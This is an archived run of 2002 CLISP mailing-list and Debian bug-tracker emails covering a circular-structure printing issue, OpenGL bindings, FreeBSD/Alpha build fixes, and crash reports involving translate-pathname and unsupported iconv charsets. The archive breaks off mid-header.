gregor_jan@seznam.cz Mon Jun 03 11:16:16 2002 Return-path: Received: from stateless3.tiscali.cz (mail.tiscali.cz) [213.235.135.72] by master.debian.org with esmtp (Exim 3.12 1 (Debian)) id 17EuVE-0002sc-00; Mon, 03 Jun 2002 11:16:16 -0500 Received: from localhost (212.90.234.218) by mail.tiscali.cz (6.0.044) id 3CA1A1280056D3DA for submit@bugs.debian.org; Mon, 3 Jun 2002 18:14:53 +0200 Received: from honza by localhost with local (Exim 3.32 #1 (Debian)) id 17Eu5y-0000DJ-00 for ; Mon, 03 Jun 2002 17:50:10 +0200 Date: Mon, 3 Jun 2002 17:50:09 +0200 From: Jan Gregor To: Debian Bug Tracking System Subject: clisp eats whole memory Message-ID: <20020603175009.A815@pisidlo> Reply-To: gregor_jan@seznam.cz Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="T4sUOijqQbZv57TR" Content-Disposition: inline User-Agent: Mutt/1.3.22i X-Reportbug-Version: 1.36 Delivered-To: submit@bugs.debian.org --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Package: clisp Version: 1:2.27-0.5 Severity: important Following sequence produce this effect: (jtms-init) (setq a (install-node 'a)) (setq b (install-node 'b)) (install-just a (list b)) I found that this problem has something to do with push and defstruct. In harlequin lisp (lispworks) program worked without problems. When I replaced defstruct with defclass, problem disappeared in clisp too. -- System Information Debian Release: testing/unstable Architecture: i386 Kernel: Linux pisidlo 2.2.20 #1 Sun Feb 24 20:26:35 CET 2002 i686 Locale: LANG=cs_CZ, LC_CTYPE=cs_CZ Versions of packages clisp depends on: ii libc6 2.2.5-4 GNU C Library: Shared libraries an ii libncurses5 5.2.20020112a-7 Shared libraries for terminal hand --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="jtms.lsp" (defstruct node (index 0) (datum nil) (label 'out) (support nil) (justifications nil) (consequences nil) ) (defstruct justification (index 0) in-list out-list consequence ) (defvar *node-counter*) (defvar *just-counter*) (defun in-node? (node) (eq (node-label node) 'in)) (defun out-node? (node) (eq (node-label node) 'out)) (defun jtms-init () (setq *node-counter* 0 *just-counter* 0) ) (defun install-node (datum) (let (node) (setq node (make-node :datum datum :index (incf *node-counter*))) )) (defun install-just (conseq in-supp &optional (out-supp nil)) (let (just) (setq just (make-justification :index (incf *just-counter*) :in-list in-supp :out-list out-supp :consequence conseq)) ; (setf (node-justifications conseq) ; (append (node-justifications conseq) just)) (push just (node-justifications conseq)) just )) --T4sUOijqQbZv57TR-- From sds@gnu.org Sat Jun 15 10:05:45 2002 Received: from pool-151-203-33-127.bos.east.verizon.net ([151.203.33.127] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17JGzh-0002NB-00 for ; Sat, 15 Jun 2002 10:05:45 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g5FH6Jo08079; Sat, 15 Jun 2002 13:06:22 -0400 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug Report: clisp accepts, as accessor to object, name that conflicts with build-in function References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 15 10:06:04 2002 X-Original-Date: 15 Jun 2002 13:06:18 -0400 > * In message > * On the subject of "[clisp-list] Bug Report: clisp accepts, as accessor to object, name that conflicts with build-in function" > * Sent on Sat, 15 Jun 2002 17:46:58 +0100 > * Honorable Will Newton writes: > > Reported via the Debian BTS: > > Package: clisp > Version: 1:2.27-0.5 > Severity: wishlist > > I wrote in clisp program that defines class with accessor to one of its > slots called type. I tried to run this program under Harlequin Lisp and > Alegro. Both reported an error, Harlequin said that type conflicts with > function visible from COMMON-LISP. > This seems to me that clisp dont check accessor names with build-in > functions. this has been fixed in the release 2.28 with introduction of package locking. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Just because you're paranoid doesn't mean they AREN'T after you. From sds@gnu.org Sat Jun 15 10:14:01 2002 Received: from pool-151-203-33-127.bos.east.verizon.net ([151.203.33.127] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17JH7h-00036p-00 for ; Sat, 15 Jun 2002 10:14:01 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g5FHEdo08112; Sat, 15 Jun 2002 13:14:39 -0400 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug Report: clisp eats whole memory References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 99 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 15 10:15:03 2002 X-Original-Date: 15 Jun 2002 13:14:39 -0400 > * In message > * On the subject of "[clisp-list] Bug Report: clisp eats whole memory" > * Sent on Sat, 15 Jun 2002 17:47:50 +0100 > * Honorable Will Newton writes: > > Reported via Debian BTS: > > Package: clisp > Version: 1:2.27-0.5 > Severity: important > > Following sequence produce this effect: > (jtms-init) > (setq a (install-node 'a)) > (setq b (install-node 'b)) > (install-just a (list b)) this creates a circular structure which cannot be printed without *print-circle* being set to T (since ANSI CL mandates the #S readable format for the structure output). *print-circle* is NIL initially as per the ANSI CL spec. (setq *print-circle* t) and try again - it will work. > I found that this problem has something to do with push and defstruct. > In harlequin lisp (lispworks) program worked without problems. When I > replaced defstruct with defclass, problem disappeared in clisp too. CLOS classes are not printed readably (as per the spec), so they can be printed even without *print-circle* == T. > -- System Information > Debian Release: testing/unstable > Architecture: i386 > Kernel: Linux pisidlo 2.2.20 #1 Sun Feb 24 20:26:35 CET 2002 i686 > Locale: LANG=cs_CZ, LC_CTYPE=cs_CZ > > Versions of packages clisp depends on: > ii libc6 2.2.5-4 GNU C Library: Shared libraries > an > ii libncurses5 5.2.20020112a-7 Shared libraries for terminal > hand > > --T4sUOijqQbZv57TR > Content-Type: text/plain; charset=us-ascii > Content-Disposition: attachment; filename="jtms.lsp" > > > (defstruct node > (index 0) > (datum nil) > (label 'out) > (support nil) > (justifications nil) > (consequences nil) > ) > > (defstruct justification > (index 0) > in-list > out-list > consequence > ) > > (defvar *node-counter*) > (defvar *just-counter*) > > (defun in-node? (node) (eq (node-label node) 'in)) > > (defun out-node? (node) (eq (node-label node) 'out)) > > (defun jtms-init () > (setq *node-counter* 0 > *just-counter* 0) > ) > > (defun install-node (datum) > (let (node) > (setq node (make-node :datum datum :index (incf *node-counter*))) > )) > > (defun install-just (conseq in-supp &optional (out-supp nil)) > (let (just) > (setq just (make-justification :index (incf *just-counter*) > :in-list in-supp > :out-list out-supp > :consequence conseq)) > ; (setf (node-justifications conseq) > ; (append (node-justifications conseq) just)) > (push just (node-justifications conseq)) > just > )) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Don't ascribe to malice what can be adequately explained by stupidity. From balto48@yahoo.com Sat Jun 15 17:09:10 2002 Received: from web9707.mail.yahoo.com ([216.136.128.165]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17JNbP-0005TR-00 for ; Sat, 15 Jun 2002 17:09:07 -0700 Message-ID: <20020616000907.87213.qmail@web9707.mail.yahoo.com> Received: from [217.219.4.3] by web9707.mail.yahoo.com via HTTP; Sat, 15 Jun 2002 17:09:07 PDT From: Reza Alemi To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] calling open-gl functions with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 15 17:10:01 2002 X-Original-Date: Sat, 15 Jun 2002 17:09:07 -0700 (PDT) Dear List members, Can anyone please tell me how can I call opengl routines from clisp? there are loads of packages out there for allegro and cmucl, but they don't work in clisp. I saw Larry Bales has used FFI:DEF-C-CALL-OUT for glClearIndex, but when I try it, it says it can't find entry for glClearIndex. I've lost hair and sleep over this, now losing sanity :) Thank you. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From jmkatcher@yahoo.com Mon Jun 17 13:47:06 2002 Received: from web14501.mail.yahoo.com ([216.136.224.64]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17K3Oz-0007WJ-00 for ; Mon, 17 Jun 2002 13:47:05 -0700 Message-ID: <20020617204705.66405.qmail@web14501.mail.yahoo.com> Received: from [198.95.226.224] by web14501.mail.yahoo.com via HTTP; Mon, 17 Jun 2002 13:47:05 PDT From: Jeffrey Katcher To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] CLISP 2.28 Working On FreeBSD/Alpha Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 17 13:48:02 2002 X-Original-Date: Mon, 17 Jun 2002 13:47:05 -0700 (PDT) lispbibl.d:2404 changed to #if defined(DECALPHA) && (defined(UNIX_OSF) defined(UNIX_LINUX) || defined(UNIX_FREEBSD)) CLISP 2.28 now will successfully make/make check using the system gcc2.95.2 compiler. I haven't yet validated dynamic-ffi, but everything else looks good. FYI: Code address range = 0x0000000120000000 Malloc address range = 0x0000000120000000 Shared library address range = 0x0000000160000000 Stack address range = 0x0000000011000000 BTW, It cores in the config process using gcc31 and there's a preprocessor issue with the Compaq C compiler (ccc). Very excited about getting this working, Jeff Katcher __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From samuel.steingold@verizon.net Mon Jun 17 14:07:24 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17K3ie-0001Eb-00 for ; Mon, 17 Jun 2002 14:07:24 -0700 Received: (cpmta 24411 invoked from network); 17 Jun 2002 14:07:17 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 17 Jun 2002 14:07:17 -0700 X-Sent: 17 Jun 2002 21:07:17 GMT To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 2.28 Working On FreeBSD/Alpha References: <20020617204705.66405.qmail@web14501.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020617204705.66405.qmail@web14501.mail.yahoo.com> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 17 14:08:03 2002 X-Original-Date: 17 Jun 2002 17:07:16 -0400 > * In message <20020617204705.66405.qmail@web14501.mail.yahoo.com> > * On the subject of "[clisp-list] CLISP 2.28 Working On FreeBSD/Alpha" > * Sent on Mon, 17 Jun 2002 13:47:05 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > lispbibl.d:2404 changed to > #if defined(DECALPHA) && (defined(UNIX_OSF) > defined(UNIX_LINUX) || defined(UNIX_FREEBSD)) > > CLISP 2.28 now will successfully make/make check using the system > gcc2.95.2 compiler. I haven't yet validated dynamic-ffi, but > everything else looks good. great! > BTW, It cores in the config process using gcc31 and this is a known bug in gcc31. add "-fno-gcse" to CFLAGS (this is actually in the CVS development version) > there's a preprocessor issue with the Compaq C compiler (ccc). What is the issue? CLISP comes with a CPP specifically for this case. Search src/makemake.in for XCC_UNUSABLE_CPP. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux "A pint of sweat will save a gallon of blood." -- George S. Patton From jmkatcher@yahoo.com Mon Jun 17 14:18:13 2002 Received: from web14505.mail.yahoo.com ([216.136.224.68]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17K3t6-0002ik-00 for ; Mon, 17 Jun 2002 14:18:12 -0700 Message-ID: <20020617211810.31273.qmail@web14505.mail.yahoo.com> Received: from [198.95.226.224] by web14505.mail.yahoo.com via HTTP; Mon, 17 Jun 2002 14:18:10 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] CLISP 2.28 Working On FreeBSD/Alpha To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 17 14:19:03 2002 X-Original-Date: Mon, 17 Jun 2002 14:18:10 -0700 (PDT) I was incorrect about the Compaq C issue involving the preprocessor. As Compaq C for Linux (hacked to generate FreeBSD binaries) is basically the DU compiler, I thought I was seeing the issue discussed in the release notes. All I needed to do was to tweak the alloca definition in lispbibl.d:1083 (along with the previous fix) to get things to build. I am seeing a Seg Fault after config.lisp is loaded when the make is building the clisp image. Back to the drawing board... __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From samuel.steingold@verizon.net Mon Jun 17 14:23:34 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17K3yH-0003Mf-00 for ; Mon, 17 Jun 2002 14:23:33 -0700 Received: (cpmta 8895 invoked from network); 17 Jun 2002 14:23:29 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 17 Jun 2002 14:23:29 -0700 X-Sent: 17 Jun 2002 21:23:29 GMT To: Reza Alemi Cc: clisp-list@lists.sourceforge.net, dan.stanger@ieee.org Subject: Re: [clisp-list] calling open-gl functions with clisp References: <20020616000907.87213.qmail@web9707.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020616000907.87213.qmail@web9707.mail.yahoo.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 17 14:24:03 2002 X-Original-Date: 17 Jun 2002 17:23:27 -0400 > * In message <20020616000907.87213.qmail@web9707.mail.yahoo.com> > * On the subject of "[clisp-list] calling open-gl functions with clisp" > * Sent on Sat, 15 Jun 2002 17:09:07 -0700 (PDT) > * Honorable Reza Alemi writes: > > Can anyone please tell me how can I call opengl routines from clisp? > there are loads of packages out there for allegro and cmucl, but they > don't work in clisp. you will need to create an opengl CLISP module. this sounds harder than it actually is, so do not despair. basically, you should look at the modules in the CLISP distribution (clisp/modules/*), e.g., postgresql or queens or whatever and "do something similar", namely, create Makefile, link.sh and opengl.lisp files. The latter should contain many DEF-CALL-OUT forms, one for each opengl function, as well as other stuff. you can use cparse to automate some of the opengl.h --> opengl.lisp conversion. Dan Stanger patched cparse to produce CLISP output, but it does not appear that the patch has been integrated yet -- -- Dan, could you please nag Tim to get the patch in and mentioned on his web page that cparse works with CLISP? I hope other FFI users will be more specific. More docs can be found here: -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux will write code that writes code that writes code for food From dan.stanger@ieee.org Mon Jun 17 17:19:33 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17K6ia-0005dg-00 for ; Mon, 17 Jun 2002 17:19:32 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 17K6iY-0003MG-00 for clisp-list@lists.sourceforge.net; Mon, 17 Jun 2002 18:19:30 -0600 Message-ID: <3D0E7D00.99C18B13@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] calling open-gl functions with clisp References: <20020616000907.87213.qmail@web9707.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 17 17:20:04 2002 X-Original-Date: Mon, 17 Jun 2002 18:21:20 -0600 I would recomend that you create a module similar to new-clx, rather than using the ffi interface. You might try using the awk code for the gdi module that I am working on. IMO, its a lot easier to debug a module than the ffi code, and you have a lot more control. Dan Sam Steingold wrote: > > * In message <20020616000907.87213.qmail@web9707.mail.yahoo.com> > > * On the subject of "[clisp-list] calling open-gl functions with clisp" > > * Sent on Sat, 15 Jun 2002 17:09:07 -0700 (PDT) > > * Honorable Reza Alemi writes: > > > > Can anyone please tell me how can I call opengl routines from clisp? > > there are loads of packages out there for allegro and cmucl, but they > > don't work in clisp. > > you will need to create an opengl CLISP module. > this sounds harder than it actually is, so do not despair. > basically, you should look at the modules in the CLISP distribution > (clisp/modules/*), e.g., postgresql or queens or whatever > and "do something similar", namely, create Makefile, link.sh and > opengl.lisp files. The latter should contain many DEF-CALL-OUT forms, > one for each opengl function, as well as other stuff. > > you can use cparse to > automate some of the opengl.h --> opengl.lisp conversion. > Dan Stanger patched cparse to produce CLISP > output, but it does not appear that the patch has been integrated > yet -- > -- Dan, could you please nag Tim to get the patch in and mentioned > on his web page that cparse works with CLISP? > > I hope other FFI users will be more specific. > More docs can be found here: > > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > > > will write code that writes code that writes code for food > > ---------------------------------------------------------------------------------------------------- > Sponsor's Message > ---------------------------------------------------------------------------------------------------- > Bringing you mounds of caffeinated joy > >>> http://thinkgeek.com/sf <<< > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From samuel.steingold@verizon.net Tue Jun 18 06:55:08 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KJRr-0008SN-00 for ; Tue, 18 Jun 2002 06:55:08 -0700 Received: (cpmta 5883 invoked from network); 18 Jun 2002 06:55:00 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 18 Jun 2002 06:55:00 -0700 X-Sent: 18 Jun 2002 13:55:00 GMT To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] calling open-gl functions with clisp References: <20020616000907.87213.qmail@web9707.mail.yahoo.com> <3D0E7D00.99C18B13@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D0E7D00.99C18B13@ieee.org> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 18 06:56:04 2002 X-Original-Date: 18 Jun 2002 09:54:59 -0400 > * In message <3D0E7D00.99C18B13@ieee.org> > * On the subject of "Re: [clisp-list] calling open-gl functions with clisp" > * Sent on Mon, 17 Jun 2002 18:21:20 -0600 > * Honorable Dan Stanger writes: > > I would recomend that you create a module similar to new-clx, rather > than using the ffi interface. You might try using the awk code for > the gdi module that I am working on. IMO, its a lot easier to debug a > module than the ffi code, and you have a lot more control. Dan BTW, would you like your gdi module to be distributed with CLISP? Also, I forgot what gdi stands for (neither your readme nor google are of any help here...) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux XFM: Exit file manager? [Continue] [Cancel] [Abort] From bley@wh2-19.st.uni-magdeburg.de Wed Jun 19 07:47:55 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KgkS-00018T-00 for ; Wed, 19 Jun 2002 07:47:52 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 3F9E2A058; Wed, 19 Jun 2002 16:47:49 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: clisp-list@sourceforge.net X-Mailer: VM 7.05 under Emacs 21.2.1 Subject: [clisp-list] translate-pathname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 07:48:10 2002 X-Original-Date: Wed, 19 Jun 2002 16:47:48 +0200 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I tried to use the translate-pathname function but had no luck so far: $ clisp --version GNU CLISP 2.28 (released 2002-03-03) (built 3227278593) (memory 3227279056) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) [1]> (translate-pathname "test.txt" "*.txt" "*.text") *** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization of #P"*.txt" which to my understanding is wrong and rather should give a #P"test.text" pathname. (I tested this with Allegro CL, Xanalys LispWorks and CMUCL). Then, I figured the situation might have changed with clisp cvs; I checked out cvs clisp last Friday (06/14/2002), build it (which suceeded after some trouble but more on that I'll send in a seperate mail later) and I received: [3]> (translate-pathname "test.txt" "*.txt" "*.text") *** - internal error: statement in file "pathname.d", line 5162 has been reached!! Please send the authors of the program a description how you produced this error! Both programs were compiled with gcc 3.0.4, I followed the recommendations of ./configure (just appending 'debug' to makemake's command line when compiling the cvs version): cd with-gcc3 ./makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile make config.lisp make and I also ran 'make test' and 'make testsuite' which both suceeded. Am I missing something? Is this a known problem? System details: $ uname -a Linux aptiva 2.4.18 #1 Mon May 13 15:24:42 CEST 2002 i686 unknown Debian Gnu/Linux 3.0 (Woody) glibc 2.2.5 Claudio -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 iD8DBQE9EJmUTpSishmp0ioRAiJXAJ98shIbgIAaHKPpDCUehIfk0X4WZgCeL6as k8HAA7OY8BCzbig/D+1qt24= =el2X -----END PGP SIGNATURE----- From bley@wh2-19.st.uni-magdeburg.de Wed Jun 19 09:05:51 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Khxr-0002cL-00 for ; Wed, 19 Jun 2002 09:05:47 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 031E1A058; Wed, 19 Jun 2002 18:05:00 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: clisp-list@sourceforge.net X-Mailer: VM 7.05 under Emacs 21.2.1 Subject: [clisp-list] stack overflow - unknown charset Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 09:06:11 2002 X-Original-Date: Wed, 19 Jun 2002 18:05:00 +0200 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, just as promised ;) in my previous mail I'm reporting my problems with building cvs clisp 06/14/2002 : I checked out clisp from cvs, did the usual steps: $ ./configure with-gcc3 $ cd with-gcc3 $ ./makemake --with-readline --with-gettext --with-dynamic-ffi debug > Makefile $ make config.lisp $ make which failed miserably at: ./lisp.run -B . -N locale -E UTF-8 -norc -m 750KW -x "(load \ \"init.lisp\") (sys::%saveinitmem) (exit)" *** - Program stack overflow. RESET make: *** [interpreted.mem] Segmentation fault Here's the backtrace from gdb: Program received signal SIGSEGV, Segmentation fault. 0x20264c8a in ?? () (gdb) bt #0 0x20264c8a in ?? () #1 0x080fc390 in write_errorstring ( errorstring=0x821c768 "unknown character set ~") at error.d:191 #2 0x080fc981 in fehler (errortype=error, errorstring=0x821c768 "unknown character set ~") at error.d:328 #3 0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611 #4 0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3621 #5 0x08077834 in C_make_encoding () at encoding.d:1707 #6 0x08078cd0 in init_encodings_2 () at encoding.d:2153 #7 0x080540b0 in initmem () at spvw.d:1407 #8 0x08055830 in main (argc=12, argv=0xbffffbf4) at spvw.d:2541 $ iconv --version iconv (GNU libc) 2.2.5 Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Ulrich Drepper. $ 'iconv -l | grep -i armscii-8' # gives nothing So it seems glibc's iconv in fact doesn't support this charset. The same goes for the tcvn charset. I just commented out the appropriate lines in src/constsym.d and the build suceeded. Nonetheless, I guess it shouldn't segfault if the charset is unknown... System details: Debian Gnu/Linux 3.0 (Woody) $ uname -a Linux aptiva 2.4.18 #1 Mon May 13 15:24:42 CEST 2002 i686 unknown $ gcc --version 3.0.4 Claudio -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 iD8DBQE9EKurTpSishmp0ioRAkZsAJ4yU/WpBFH2XJMqro+J3LHRxIFArQCcCTqx GeikBxH/WR46F1E2P6NIJHA= =zT9J -----END PGP SIGNATURE----- From samuel.steingold@verizon.net Wed Jun 19 09:54:30 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Kiiz-0001eW-00 for ; Wed, 19 Jun 2002 09:54:29 -0700 Received: (cpmta 17653 invoked from network); 19 Jun 2002 09:54:23 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com 